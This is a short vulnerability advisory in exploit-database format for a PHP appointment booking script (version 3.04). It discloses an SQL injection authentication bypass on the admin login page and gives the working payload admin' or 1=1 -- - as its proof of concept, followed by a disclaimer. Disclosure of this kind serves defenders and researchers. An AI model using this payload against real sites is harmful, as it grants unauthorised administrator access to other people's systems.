PHP Appointment Booking Script - Authentication Bypass

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<!-- 
# Exploit Title:  PHP Appointment Booking Script - injection login bypass  
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# software link : http://www.phpscriptsmall.com/product/php-appointment-booking-script/
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
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# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin 
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# Proof of Concept : - 
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# http://localhost/appointment/admin_login.php [ set username and password ] to >>  admin' or 1=1 -- - 
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# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained 
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
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